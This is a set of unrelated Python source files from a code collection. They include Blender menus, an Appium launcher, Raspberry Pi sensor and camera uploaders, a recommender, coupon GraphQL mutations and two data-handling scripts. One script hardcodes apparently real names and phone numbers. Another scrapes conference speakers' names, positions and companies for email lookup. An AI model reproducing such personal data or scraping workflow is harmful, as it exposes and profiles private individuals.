menu.add_item().prop(context.tool_settings.sculpt.brush, \n \"auto_smooth_factor\", slider=True)\n\n # add the rest of the menu items\n for i in range(len(settings)):\n menuprop(menu.add_item(), settings[i][0], settings[i][1],\n \"tool_settings.sculpt.brush.auto_smooth_factor\",\n icon='RADIOBUT_OFF', disable=True,\n disable_icon='RADIOBUT_ON')\n \nclass BrushWeightMenu(bpy.types.Menu):\n bl_label = \"Weight\"\n bl_idname = \"view3d.brush_weight_menu\"\n\n def draw(self, context):\n menu = Menu(self)\n settings = [[\"1.0\", 1.0], [\"0.7\", 0.7],\n [\"0.5\", 0.5], [\"0.3\", 0.3],\n [\"0.2\", 0.2], [\"0.1\", 0.1]]\n\n # add the top slider\n menu.add_item().prop(context.tool_settings.unified_paint_settings,\n \"weight\", slider=True)\n\n # add the rest of the menu items\n for i in range(len(settings)):\n menuprop(menu.add_item(), settings[i][0], settings[i][1],\n \"tool_settings.unified_paint_settings.weight\",\n icon='RADIOBUT_OFF', disable=True,\n disable_icon='RADIOBUT_ON')\n \nclass ParticleLengthMenu(bpy.types.Menu):\n bl_label = \"Length Mode\"\n bl_idname = \"view3d.particle_length_menu\"\n\n def draw(self, context):\n menu = Menu(self)\n datapath = \"tool_settings.particle_edit.brush.length_mode\"\n\n # add the menu items\n menuprop(menu.add_item(), \"Grow\", \"GROW\",\n datapath, icon='RADIOBUT_OFF', \n disable=True, disable_icon='RADIOBUT_ON')\n \n menuprop(menu.add_item(), \"Shrink\", \"SHRINK\",\n datapath, icon='RADIOBUT_OFF', \n disable=True, disable_icon='RADIOBUT_ON')\n \nclass ParticlePuffMenu(bpy.types.Menu):\n bl_label = \"Puff Mode\"\n bl_idname = \"view3d.particle_puff_menu\"\n\n def draw(self, context):\n menu = Menu(self)\n datapath = \"tool_settings.particle_edit.brush.puff_mode\"\n\n # add the menu items\n menuprop(menu.add_item(), \"Add\", \"ADD\",\n datapath, icon='RADIOBUT_OFF', \n disable=True, disable_icon='RADIOBUT_ON')\n \n menuprop(menu.add_item(), \"Sub\", \"SUB\",\n datapath, icon='RADIOBUT_OFF', \n disable=True, disable_icon='RADIOBUT_ON')\n\ndef register():\n # register all classes in the file\n bpy.utils.register_module(__name__)\n\ndef unregister():\n # unregister all classes in the file\n bpy.utils.unregister_module(__name__)\n \nif __name__ == \"__main__\":\n register()\n","sub_path":"addons/advanced_ui_menus/brush_options.py","file_name":"brush_options.py","file_ext":"py","file_size_in_byte":11365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"364713130","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/11/4 08:14\n# @Author : 饭盆里\n# @File : app.py\n# @Software: PyCharm\n# @desc :\nfrom appium import webdriver\nfrom myappium.qiyeweixin.framework_basepage.basepage.basepage import BasePage\nfrom myappium.qiyeweixin.framework_basepage.pages.main_page import MainPage\n\nclass App(BasePage):\n \"\"\"\n APP相关动作,比如启动app,关闭APP 停止APP,进入首页\n \"\"\"\n def start(self):\n \"\"\"\n 启动APP\n :return:\n \"\"\"\n if self.driver == None:\n #第一次调用start()方法时,driver为None\n desire_caps = {\n \"platformName\": \"android\",\n \"appPackage\": \"com.tencent.wework\",\n \"appActivity\": \".launch.WwMainActivity\",\n \"deviceName\": \"emulator-5554\",\n \"noReset\": \"true\",\n 'skipServerInstallation': 'true', # 跳过 uiautomator2 server的安装\n 'skipDeviceInitialization': 'true', # 跳过设备初始化\n 'settings[waitForIdleTimeout]': 0, # 等待Idle为0\n 'dontStopAppOnReset': 'true' # 不关闭,重启APP,首次启动后不再重启\n }\n\n # 与server建立连接,初始化一个driver,创建session\n self.driver = webdriver.Remote('http://127.0.0.1:4723/wd/hub', desire_caps)\n else:\n #launch_app() 这个方法不需要传入任何参数, 会自动启动起来DesireCapa里面定义的activity\n # start_activity(packagename, activityname) 可以启动其它的应用的页面\n self.driver.launch_app()\n\n self.driver.implicitly_wait(10)\n\n return self\n\n def restart(self):\n \"\"\"\n 重启APP\n :return:\n \"\"\"\n self.driver.close()\n self.driver.launch_app()\n return self\n\n def stop(self):\n \"\"\"\n 停止APP\n :return:\n \"\"\"\n self.driver.quit()\n\n def goto_main(self):\n \"\"\"\n 进入主页面\n :return:\n \"\"\"\n return MainPage(self.driver)","sub_path":"myappium/qiyeweixin/framework_basepage/basepage/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"3627853","text":"#!/usr/bin/python\nimport RPi.GPIO as gpio\nimport time\nimport math\nimport progressbar\nimport requests\nimport json\n\ngpio.setmode(gpio.BOARD)\ngpio.setwarnings(False)\ne=2.71828 #mathematical constant\ngpio_up_voltage = 1.34 #from RPI specifications\n\n# this captures the hardware configuration at soil moisture setup\npin_soilmoist =13 #gpio pin that is tuned to the signal\nkohms_soilmoist =9.89 #resistance that charges the capacitpor\nuF_soilmoist=2.2 #the capacitance that needs to be charged\nwet_milivolts=2061.00\ndry_milivolts=2152.00\n\n# this captures the hardware configuration at the light intensity\npin_ldr = 15\nkohms_ldr=9.89\nuF=2.2\n#this setting can be checked changed for the measurements we set on the trim pot\ndark_voltage =1.34\nbright_voltage=1.95\n\n#this setting of the hardware is for the atm temp measurement\nopamp_gain=5.84\n\nclass ExceptionNoSignal(Exception):\n \"\"\"docstring for ExcepNoSignal.\n this is raised when the GPIO fails to get any signal from the sensor BOARD\n The code waited too long for the GPIO to go up and there was no signal\"\"\"\n def __init__(self, message):\n super(ExceptionNoSignal, self).__init__(message)\nclass ExceptionInvalidRC(object):\n \"\"\"docstring for ExceptionInvalidRC.\n this is the exception when the measured rc time value from the setup is not valid\"\"\"\n def __init__(self, message):\n super(ExceptionInvalidRC, self).__init__(message)\ndef showbar(max, value, progchar):\n disp_value=0\n if isinstance(value, float):\n # we need to get this to an integer\n disp_value = int(value)\n elif isinstance(value, int):\n disp_value = value\n else:\n raise ValueError('Value to be displahyed should be numerical')\n\n display = ' '*10\n display=display.replace(' ',progchar, int(value*10/max))\n print('[{}] {}%'.format(display, round(value*100/max,2)))\ndef reset_gpio(pin,drain_delay=0.015,drain_pin=None):\n '''This functions lets you reset the pins for RC timer setup on GPIO\n pin : this is the BOARD pin number that receives the high signal\n drain_pin : this is the BOARD pin on which the capacitor is used for draining\n we are assigning a default value to drain_delay , you would have to change it corresponding to rc_constant\n if the drain pin is not supplied then draining and signal receiving happens on the same pin\n '''\n if drain_pin is None:\n gpio.setup(pin, gpio.OUT)\n gpio.output(pin,gpio.LOW)\n time.sleep(drain_delay)\n gpio.setup(pin, gpio.IN, pull_up_down=gpio.PUD_DOWN)\n time.sleep(0.005)\n else:\n gpio.setup(drain_pin, gpio.OUT)\n gpio.output(drain_pin,gpio.LOW)\n time.sleep(drain_delay)\n gpio.setup(drain_pin, gpio.IN, pull_up_down=gpio.PUD_DOWN)\n gpio.setup(pin, gpio.IN, pull_up_down=gpio.PUD_DOWN)\n time.sleep(0.005) #letting the setup assimilate , the pins need time to change function\ndef voltage(pin,kohms,uF, drain_pin=None):\n '''This is to measure the voltage from the rctime but with no operational amplifier\n The setup uses only one GPIO pin and the sensor connected to the rctiming\n '''\n #in seconds .. effectively that is the time it needs to charge and discharge\n rc_constant = kohms*uF/1000\n #a check for the invalida parameters\n if rc_constant <=0 :\n raise ValueError('ERR_PARAM: Invalid values for resistance or capacitance.')\n reset_gpio(pin=pin, drain_delay=4*rc_constant, drain_pin=drain_pin)\n starttime = time.time()\n #so that the end time is never less than the starttime\n endtime =starttime\n while gpio.input(pin) ==gpio.LOW:\n endtime = time.time()\n if endtime-starttime > 5:\n raise ExceptionNoSignal(message='Waited too long for the signal to go high')\n # this happens in the case when the signal is just too weak for raspberry pi\n # or if the is an open connection between the RC setup and the GPIO\n charge_time = endtime-starttime\n if charge_time > 0.0 :\n # this is when we know everything is ok .. and we have the rctime\n time_factor = charge_time/rc_constant\n supply=gpio_up_voltage /(1-(math.pow(e,-time_factor)))\n # and thus we have the supply voltage\n return (supply) #gpio in low voltage is 0.2 approx,\n else:\n reset_gpio(pin=pin, drain_delay=4*rc_constant)\n raise ExceptionInvalidRC('RCtime calculations have failed, we are getting negative time')\ndef soil_moisture():\n '''this is to get the soil moisture using the RC timer to convert ADC'''\n try:\n volts = voltage(pin=pin_soilmoist, kohms=kohms_soilmoist, uF=uF_soilmoist)\n volts *=1000 #converting to millivolts\n if not volts is None:\n if volts < wet_milivolts:\n moisture=1.00\n elif volts > dry_milivolts:\n moisture=0.0\n else:\n moisture =1- ((volts-wet_milivolts)/(dry_milivolts-wet_milivolts))\n moisture *=100\n return moisture\n except ExceptionNoSignal as nosig:\n return -1.00 #this is to indicate that the signal too low for reading\n except ValueError as ve:\n print('ERR: Check values for the resistor and the capacitor')\n pass\ndef luminosity():\n '''this is to get the light intensity from the LDR voltage reding'''\n try:\n volts = voltage(pin=pin_ldr, kohms=kohms_ldr, uF=uF)\n #first we try to get the voltage within the boundaries\n if volts <= dark_voltage:\n brightness=0\n elif volts >=bright_voltage:\n brightness=1.00\n else:\n #this where we calculate the inbetweenness\n brightness=(volts-dark_voltage) /(bright_voltage-dark_voltage)\n #% of brightness sent back in accuracy 2 decimals\n return round(brightness*100,2)\n except ExceptionNoSignal as nosig:\n return -1.00 #this is to indicate that the signal too low for reading\n except ValueError as ve:\n print('ERR: Check values for the resistor and the capacitor')\n pass\ndef atmtemp():\n '''This is to measure the air temp at the given time'''\n try:\n volts = voltage(pin=11, kohms=0.98,uF=10,drain_pin=12)\n return round((volts/opamp_gain)*100, 2) #is the straight temp reading that we are looking for\n except Exception as e:\n print(str(e))\n return -1.0\n\nclass ErrorReading(object):\n \"\"\"This stores the errorenous readings from each of the sensors\n msg : The error message from the reading activity\n typ : The type of the error that was raised\n erron : The error on specific implementation of the RCTimer class.\"\"\"\n def __init__(self, msg, typ, erron):\n super(ErrorReading, self).__init__()\n self.message = msg\n self.type = typ\n self.erroron=erron\nclass RCTimer(object):\n \"\"\"docstring for RCTimer.\"\"\"\n def __init__(self, pin, uF, kohms,drain):\n super(RCTimer, self).__init__()\n #setting up the rctimer\n self.pin = pin\n self.drain = drain\n #hardware configuration\n self.uF = uF\n self.kohms = kohms\n self.rc_constant = self.kohms*self.uF/1000\n self.drain_delay = 4*self.rc_constant\n #is the time in seconds we have to delay before the gpio pin can fully change function\n self.pinfnchange_wait = 0.0065\n def measure(self):\n #in seconds .. effectively that is the time it needs to charge and discharge\n self.rc_constant = float(self.kohms)*float(self.uF)/1000\n #a check for the invalida parameters\n if self.rc_constant <=0 :\n raise ValueError('ERR_PARAM: Invalid values for resistance or capacitance.')\n self.reset_gpio()\n starttime = time.time()\n #so that the end time is never less than the starttime\n endtime =starttime\n while gpio.input(self.pin) ==gpio.LOW:\n endtime = time.time()\n if endtime-starttime > 5:\n raise ExceptionNoSignal(message='Waited too long for the signal to go high')\n # this happens in the case when the signal is just too weak for raspberry pi\n # or if the is an open connection between the RC setup and the GPIO\n charge_time = endtime-starttime\n if charge_time > 0.0 :\n # this is when we know everything is ok .. and we have the rctime\n time_factor = float(charge_time)/float(self.rc_constant)\n # print(time_factor)\n supply=gpio_up_voltage /(1-(math.pow(e,-float(time_factor))))\n # and thus we have the supply voltage\n return (supply) #gpio in low voltage is 0.2 approx,\n else:\n self.reset_gpio()\n raise ExceptionInvalidRC('RCtime calculations have failed, we are getting negative time')\n def reset_gpio(self):\n if self.drain is None:\n gpio.setup(self.pin, gpio.OUT)\n gpio.output(self.pin,gpio.LOW)\n time.sleep(self.drain_delay)\n gpio.setup(self.pin, gpio.IN, pull_up_down=gpio.PUD_DOWN)\n time.sleep(self.pinfnchange_wait)\n else:\n gpio.setup(self.drain, gpio.OUT)\n gpio.output(self.drain,gpio.LOW)\n time.sleep(self.drain_delay)\n gpio.setup(self.drain, gpio.IN, pull_up_down=gpio.PUD_DOWN)\n gpio.setup(self.pin, gpio.IN, pull_up_down=gpio.PUD_DOWN)\n time.sleep(self.pinfnchange_wait)\nclass SoilMoistureRCTimer(RCTimer):\n \"\"\"docstring for SoilMoistureRCTimer.\"\"\"\n def __init__(self, pin,uF, kohms):\n super(SoilMoistureRCTimer, self).__init__(pin, uF, kohms, None)\n #this is the configuration when we look at extereme soil conditions.\n #if you need to change this you need to calibrate this timer\n self.wet_milivolts=2035.00\n self.dry_milivolts=2100.00\n def measure(self):\n try:\n volts = super(SoilMoistureRCTimer, self).measure() #getting the RCtimer to work for us\n volts *=1000 # we need in millivolts\n dryness = (volts - self.wet_milivolts )/(self.dry_milivolts-self.wet_milivolts)\n #now checking for the inbetweenness for the boundaries\n if dryness < 0.0:\n wetness =0.0\n elif dryness > 1.0:\n dryness = 1.0\n wetness = 1-dryness\n return round(wetness, 2)*100\n except ValueError as ve:\n return ErrorReading(msg=str(ve), typ=type(ValueError), erron=type(SoilMoistureRCTimer))\n except ExceptionNoSignal as nosig:\n return ErrorReading(msg=str(nosig), typ=type(ExceptionNoSignal), erron=type(SoilMoistureRCTimer))\n except ExceptionInvalidRC as invalrc:\n return ErrorReading(msg=str(invalrc), typ=type(ExceptionInvalidRC), erron=type(SoilMoistureRCTimer))\n finally:\n self.reset_gpio()\nclass LuminosityRCTimer(RCTimer):\n \"\"\"docstring for LuminosityRCTimer.\"\"\"\n def __init__(self, pin, uF, kohms):\n super(LuminosityRCTimer, self).__init__(pin = pin, uF= uF, kohms=kohms, drain= None)\n #this is from the empirical multimeter calculations that I have done\n self.dark_voltage =1.34\n self.bright_voltage=1.95\n def measure(self):\n \"\"\"This calls for the overriding of the method from RCtimer.\n \"\"\"\n try:\n volts = super(LuminosityRCTimer, self).measure()\n if volts < self.dark_voltage:\n volts = dark_voltage\n elif volts >self.bright_voltage:\n volts=self.bright_voltage\n brightness = (volts-self.dark_voltage)/(self.bright_voltage-self.dark_voltage)\n return round(brightness*100, 2)\n except ValueError as ve:\n return ErrorReading(msg=str(ve), typ=type(ValueError), erron=type(LuminosityRCTimer))\n except ExceptionNoSignal as nosig:\n return ErrorReading(msg=str(nosig), typ=type(ExceptionNoSignal), erron=type(LuminosityRCTimer))\n except ExceptionInvalidRC as invalrc:\n return ErrorReading(msg=str(invalrc), typ=type(ExceptionInvalidRC), erron=type(LuminosityRCTimer))\n finally :\n self.reset_gpio()\nclass AirTempRCTimer(RCTimer):\n \"\"\"docstring for AirTempRCTimer.\"\"\"\n def __init__(self, pin, uF, kohms, drain, gain):\n super(AirTempRCTimer, self).__init__(pin = pin, uF= uF, kohms=kohms, drain= drain)\n self.gain= gain\n def measure(self):\n try:\n volts = super(AirTempRCTimer, self).measure()\n # volts measured is amplified fromt he opamp and thus the same has to be reduced to know the supply\n # LM35 has a gain of 10 mV/oC and hence multiplying the value wih 100 makes sense\n return round((volts/self.gain)*100, 2)\n except ValueError as ve:\n return ErrorReading(msg=str(ve), typ=type(ValueError), erron=type(AirTempRCTimer))\n except ExceptionNoSignal as nosig:\n return ErrorReading(msg=str(nosig), typ=type(ExceptionNoSignal), erron=type(AirTempRCTimer))\n except ExceptionInvalidRC as invalrc:\n return ErrorReading(msg=str(invalrc), typ=type(ExceptionInvalidRC), erron=type(AirTempRCTimer))\n finally :\n self.reset_gpio()\n\n\nprint('Time \\t\\t\\t Soil \\t\\t Light \\t\\t Temp')\nwhile True:\n # timer = RCTimer(pin=pin_soilmoist, kohms=kohms_soilmoist, uF=uF_soilmoist, drain=None)\n timer = SoilMoistureRCTimer(pin=13, uF=2.2, kohms=9.89)\n soilmoisture=timer.measure()\n timer.reset_gpio()\n timer = LuminosityRCTimer(pin=15, uF=2.2, kohms= 9.89)\n luminosity = timer.measure()\n timer.reset_gpio()\n timer = AirTempRCTimer(pin=11, uF=10.00, kohms= 0.963, drain=12,gain=6.8)\n temp=timer.measure()\n timer.reset_gpio()\n toupload = {}\n if not isinstance(soilmoisture, ErrorReading):\n toupload['soil']=soilmoisture\n else:\n toupload['soil']='ERR'\n if not isinstance(luminosity, ErrorReading):\n toupload['light']=luminosity\n else:\n toupload['light']='ERR'\n if not isinstance(temp, ErrorReading):\n toupload['temp']=temp\n else:\n toupload['temp']='ERR'\n toupload['time']=time.time()\n toupload['node']='A51BB952-FF52-45D0-AC76-A670DC3474FA'\n # for now atleast we go ahead to print this on the console\n try :\n # we try uploading the data to the server , if that fails then we can go ahead to display\n url='http://128.199.172.125:8080/irrigation/soilconditions/A51BB952-FF52-45D0-AC76-A670DC3474FA/'\n response=requests.post('http://somenonsense', data=json.dumps(toupload))\n if response.status_code != 200:\n raise Exception('Failed to upload to server')\n else:\n print('data uploaded to server ...')\n except Exception as e:\n tm_stamp = time.localtime(toupload['time'])\n tm_stamp_format= '{}/{}/{} {}:{}'.format(tm_stamp.tm_year, tm_stamp.tm_mon, tm_stamp.tm_mday, tm_stamp.tm_hour, tm_stamp.tm_min)\n print('{}\\t {}\\t {}\\t\\t {}'.format(tm_stamp_format,toupload['soil'],toupload['light'],toupload['temp']))\n finally:\n time.sleep(5)\n# print('Soil moisture(%)')\n# print('------------')\n# while True:\n# #volts =measure_voltage(read_pin=15,drain_pin=12, rc_const=0.001, opamp_gain=1.34,interval=3)\n# # volts =measure_voltage(read_pin=13,drain_pin=11, rc_const=0.001, opamp_gain=5.67,interval=4)\n# moist = soil_moisture()\n# if not moist is None:\n# if moist <=0.0:\n# moist =0.0\n# showbar(100, moist, '=')\n# time.sleep(3)\n\n# print('Light (%)')\n# print('------------')\n# while True:\n# #volts =measure_voltage(read_pin=15,drain_pin=12, rc_const=0.001, opamp_gain=1.34,interval=3)\n# # volts =measure_voltage(read_pin=13,drain_pin=11, rc_const=0.001, opamp_gain=5.67,interval=4)\n# light = luminosity()\n# if not light is None:\n# if light <=0.0:\n# light =0.0\n# showbar(100, light, '=')\n# time.sleep(3)\n","sub_path":"device/rctime.py","file_name":"rctime.py","file_ext":"py","file_size_in_byte":16038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"6764140","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Feb 12 09:55:18 2020\n\n@author: Jovic\n\"\"\"\nimport numpy as np\n\nfrom tqdm import trange\nfrom itertools import islice\n\nclass BPRAlgorithm:\n\n def __init__(self, learning_rate = 0.01, n_factors = 15, n_iters = 10, \n batch_size = 1000, reg = 0.01, df=None, seed = 1234, verbose = True):\n self.reg = reg\n self.seed = seed\n self.verbose = verbose\n self.n_iters = n_iters\n self.n_factors = n_factors\n self.batch_size = batch_size\n self.learning_rate = learning_rate\n \n self.df = df\n self._prediction = None\n \n \n def fit(self, ratings):\n np.random.seed(0)\n \n indptr = ratings.indptr\n indices = ratings.indices\n n_users, n_items = ratings.shape\n\n batch_size = self.batch_size\n if n_users < batch_size:\n batch_size = n_users\n\n batch_iters = n_users // batch_size\n \n rstate = np.random.RandomState(self.seed)\n self.user_factors = rstate.normal(size = (n_users, self.n_factors))\n self.item_factors = rstate.normal(size = (n_items, self.n_factors))\n \n loop = range(self.n_iters)\n if self.verbose:\n loop = trange(self.n_iters, desc = self.__class__.__name__)\n \n for _ in loop:\n for _ in range(batch_iters):\n sampled = self._sample(n_users, n_items, indices, indptr)\n sampled_users, sampled_pos_items, sampled_neg_items = sampled\n self._update(sampled_users, sampled_pos_items, sampled_neg_items)\n\n return self\n \n def _sample(self, n_users, n_items, indices, indptr):\n sampled_pos_items = np.zeros(self.batch_size, dtype = np.int)\n sampled_neg_items = np.zeros(self.batch_size, dtype = np.int)\n sampled_users = np.random.choice(\n n_users, size = self.batch_size, replace = False)\n\n for idx, user in enumerate(sampled_users):\n pos_items = indices[indptr[user]:indptr[user + 1]]\n pos_item = np.random.choice(pos_items)\n neg_item = np.random.choice(n_items)\n while neg_item in pos_items:\n neg_item = np.random.choice(n_items)\n\n sampled_pos_items[idx] = pos_item\n sampled_neg_items[idx] = neg_item\n\n return sampled_users, sampled_pos_items, sampled_neg_items\n \n def _update(self, u, i, j):\n\n user_u = self.user_factors[u]\n item_i = self.item_factors[i]\n item_j = self.item_factors[j]\n \n r_uij = np.sum(user_u * (item_i - item_j), axis = 1)\n sigmoid = np.exp(-r_uij) / (1.0 + np.exp(-r_uij))\n \n sigmoid_tiled = np.tile(sigmoid, (self.n_factors, 1)).T\n\n grad_u = sigmoid_tiled * (item_j - item_i) + self.reg * user_u\n grad_i = sigmoid_tiled * -user_u + self.reg * item_i\n grad_j = sigmoid_tiled * user_u + self.reg * item_j\n self.user_factors[u] -= self.learning_rate * grad_u\n self.item_factors[i] -= self.learning_rate * grad_i\n self.item_factors[j] -= self.learning_rate * grad_j\n return self\n \n def predict(self):\n \n if self._prediction is None:\n self._prediction = self.user_factors.dot(self.item_factors.T)\n\n return self._prediction\n\n def _predict_user(self, user):\n\n user_pred = self.user_factors[user].dot(self.item_factors.T)\n return user_pred\n\n def recommend(self, ratings, N = 10, excluded=None): \n n_users = ratings.shape[0]\n recommendation = np.zeros((n_users, N), dtype = np.uint32)\n \n if excluded is None:\n for user in range(n_users):\n top_n = self._recommend_user(ratings, user, N)\n recommendation[user] = top_n\n else:\n for user in range(n_users):\n top_n = self._recommend_user(ratings, user, N, excluded[user].indices)\n recommendation[user] = top_n\n \n return recommendation\n\n def _recommend_user(self, ratings, user, N, excluded=[]):\n \n scores = self._predict_user(user)\n userId = self.df[\"userId\"].cat.categories[user]\n watched = [item for item in self.df[self.df[\"userId\"] == userId][\"codes\"].values if not item in excluded]\n \n count = N + len(watched)\n \n if count < scores.shape[0]:\n ids = np.argpartition(scores, -count)[-count:]\n best_ids = np.argsort(scores[ids])[::-1]\n best = ids[best_ids]\n else:\n best = np.argsort(scores)[::-1]\n\n top_n = list(islice((rec for rec in best if rec not in watched), N))\n return top_n\n ","sub_path":"BPRAlgorithm.py","file_name":"BPRAlgorithm.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"73515177","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 22 15:14:43 2020\n\n@author: Holt88\n\"\"\"\n\nimport bs4 as bs\nimport urllib.request\n\nsource = urllib.request.urlopen(\"https://worldadc-europe.com/whats-on/speakers/\")\nsoup = bs.BeautifulSoup(source,'lxml')\n\nwwn = soup.find_all(\"div\",{\"class\":\"content-wrapper\"})\n\nw = [x.get_text() for x in wwn]\nw = [a.replace(\"\\n\",\";\").split(\";\") for a in w]\n\n\ndef export_for_hunter(file_name, dataset):\n '''\n DOCSTRING: Write out a txt file \n IN: LIST\n OUT: FILE\n '''\n file = open(file_name, \"w\")\n file.write(\"Name;Position;Company\\n\")\n for a in dataset:\n file.write(a[1].strip() + \";\" + a[2].strip() + \";\" + a[3].strip() + \"\\n\") \n file.close()\n\n","sub_path":"Pb_Gen_Web_Scrape.py","file_name":"Pb_Gen_Web_Scrape.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"516043459","text":"import schedule\nimport time \nimport json\nimport os\nimport requests \nimport glob\nfrom time import gmtime, strftime, sleep\nimport argparse\nimport raspcam as cam\nimport logging\nimport sys\n\nclass StreamToLogger(object):\n \"\"\"\n Fake file-like stream object that redirects writes to a logger instance.\n \"\"\"\n def __init__(self, logger, log_level=logging.INFO):\n self.logger = logger\n self.log_level = log_level\n self.linebuf = ''\n\n def write(self, buf):\n for line in buf.rstrip().splitlines():\n self.logger.log(self.log_level, line.rstrip())\n\ndef capture_photo(nodeID, url, script_dir):\n\t'''\n\tCaptures an image using Raspberry Pi Cam. Creates the data in the appropriate structure\n\tPublishes the data on the server\n\t'''\t\n\tcam.simple_picture(script_dir)\n\tlogger.info(\"The picture was captured\")\n\tdata_params, file = create_data( nodeID, script_dir)\n\tr = requests.post(url=url, files=file, data=data_params)\n\tlogger.info(\"Response: %s\", r)\n\ndef create_data( nodeID, script_dir):\n\t'''\n\t Creates the data to be published on the server. {node: nodeID} {image: img_raspi.img} \n\t'''\n\tparams = {\"node\": nodeID}\n\tfilename = glob.glob('%s/*.jpg' %script_dir) # return the full path of the generated image e.g only .jpg \n\tfile = {\"image\": open(filename[0], 'rb') if filename else None} # Check if the file exists\n\tlogger.debug(\"the params of post: %s\", params)\n\tlogger.debug(\"the file of post: %s\", file)\n\treturn params, file\n\n\n###############################\n# #\n# Start from here #\n# #\n###############################\n\n# Parse arguments of script\nparser = argparse.ArgumentParser(description='This script is responsible for capturing images using the Raspi Camera \\\n\t\t\t\t\t\t\t\t\t\t\t\t More spesificaly, it records a picture at a specific time during the day \\\n\t\t\t\t\t\t\t\t\t\t\t\t and then sends it to a remote server for further processing.')\nparser.add_argument('--direct', dest=\"direct_execution\", help='execute the script rigth now', action=\"store_true\")\nparser.add_argument('--ip', dest=\"ip\", help='Define the IP of the remote Database', default=\"194.177.207.12\")\nparser.add_argument('--port',dest=\"port\", help='Define the port of the remote Datatbase', default=\"3000\")\nargs = parser.parse_args()\n\n# Get the absolute path of project \nscript_dir = os.path.dirname(os.path.abspath(__file__))\n\n# loggig config\nlogging.basicConfig(\n level=logging.DEBUG,\n format='%(asctime)s : %(levelname)s : %(name)s :: %(message)s',\n filename= script_dir + \"/logfile.log\",\n filemode='a'\n)\n\n# create STDOUT and STDERR loggers\nstdout_logger = logging.getLogger('STDOUT')\nsl = StreamToLogger(stdout_logger, logging.INFO)\nsys.stdout = sl\n\nstderr_logger = logging.getLogger('STDERR')\nsl = StreamToLogger(stderr_logger, logging.ERROR)\nsys.stderr = sl\n\n# create a main logger \nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n\n#logging the arguments \nlogger.debug(\"All settings used: Direct exec: %s, IP: %s, Port: %s\", args.direct_execution, args.ip, args.port) \n\n# create the api-endpoint\nURL = \"http://\" + args.ip + \":\" + args.port + \"/pictures\" # default is http://194.177.207.12:3000/pictures \n\t\n# reading JSON data from the configuration file config.json\nwith open(script_dir + '/config.json', 'r') as json_file:\n\tdata = json_file.read()\nconfiguration_tags = json.loads(data)\n\n# if the --direct argument is used, the code will run git only once \nif args.direct_execution :\n\tlogger.info(\"Direct execution\")\n\tcapture_photo(configuration_tags['node'], URL, script_dir)\n\t\n# else, a schedule is created according to the hours contained in the configuration file\nelse :\n\tlogger.info(\"Service execution\")\n\tfor timer in configuration_tags['time']:\n\t\tschedule.every().day.at(str(timer)).do(capture_photo, configuration_tags['node'], URL, script_dir)\n\n\twhile True:\n\t\tschedule.run_pending()\n\t\ttime.sleep(1)\n\n","sub_path":"camera_service.py","file_name":"camera_service.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"73810531","text":"import pandas as pd\nimport datetime\n\n\"\"\" \nThis function gets employee's information (ID, Name, Phone number, Age) as an input from the user, and saves it into\npandas data frame\n\"\"\"\n\n\ndef add_emp_manually():\n employees = [(1111, \"Sapir Almog\", \"0547414641\", 31),\n (1112, \"Gilad Benatiya\", \"0502555605\", 35)]\n\n addemp = (int(input(\"Enter employee's ID number:\")),\n input(str(\"Enter Employee's name:\")),\n input(\"Enter Employee's phone number:\"),\n input(\"Enter Employee's Age\"))\n employees.append(addemp)\n df = pd.DataFrame(employees, columns=['ID', 'Name', 'Phone', 'Age'])\n # Add to employees list existing file\n with open('/Users/sapir/Documents/python/final project- employee attandance log/emplist.csv', 'a') as f:\n df.to_csv(f,names=['ID', 'Name', 'Phone', 'Age'], header=False, index_col=0)\n return df\n\n\nadd_emp_manually()\n","sub_path":"add_emp_manual1.py","file_name":"add_emp_manual1.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"250245508","text":"import graphene\nfrom django.db.models import Q\nfrom django.utils import timezone\n\nfrom base.views import checkAuthentication, coupon_checker\nfrom coupon.models import CouponCode, CouponUser\n\n\nclass ProductListInput(graphene.InputObjectType):\n product_id = graphene.String(required=True)\n product_quantity = graphene.Float(required=True)\n\n\nclass CouponInput(graphene.InputObjectType):\n code = graphene.String(required=True)\n products = graphene.List(ProductListInput)\n\n\nclass ApplyCoupon(graphene.Mutation):\n class Arguments:\n input = CouponInput(required=True)\n\n msg = graphene.String()\n discount_amount = graphene.Float()\n coupon_code = graphene.String()\n status = graphene.Boolean()\n\n @staticmethod\n def mutate(root, info, input=None):\n user = info.context.user\n if checkAuthentication(user, info):\n discount_amount, coupon, _, is_under_limit = coupon_checker(input.code, input.products, user, True)\n if not is_under_limit:\n if discount_amount:\n return ApplyCoupon(status=True,\n msg=\"Code applied successfully.\",\n discount_amount=discount_amount,\n coupon_code=coupon.coupon_code)\n elif discount_amount == 0:\n msg = \"Coupon Discount Is Not Applicable On Products With Offer\"\n return ApplyCoupon(status=False, msg=msg)\n return ApplyCoupon(status=False, msg=\"Invalid Code!\")\n else:\n msg = \"Total Price Must Be {} Or More\".format(coupon.minimum_purchase_limit)\n return ApplyCoupon(status=False, msg=msg)\n\n\nclass CouponCount(graphene.Mutation):\n status = graphene.Boolean()\n count = graphene.Int()\n\n @staticmethod\n def mutate(root, info, input=None):\n user = info.context.user\n if checkAuthentication(user, info):\n count = CouponCode.objects.filter(Q(coupon_code_type='DC') |\n Q(coupon_code_type='GC1') | Q(coupon_code_type='GC2'),\n expiry_date__gte=timezone.now(),\n max_usage_count__gt=0,\n discount_code__in=CouponUser.objects.filter(\n created_for=user)).count()\n if count:\n return CouponCount(status=True,\n count=count)\n else:\n return CouponCount(status=False,\n count=0)\n\n\nclass Mutation(graphene.ObjectType):\n apply_coupon = 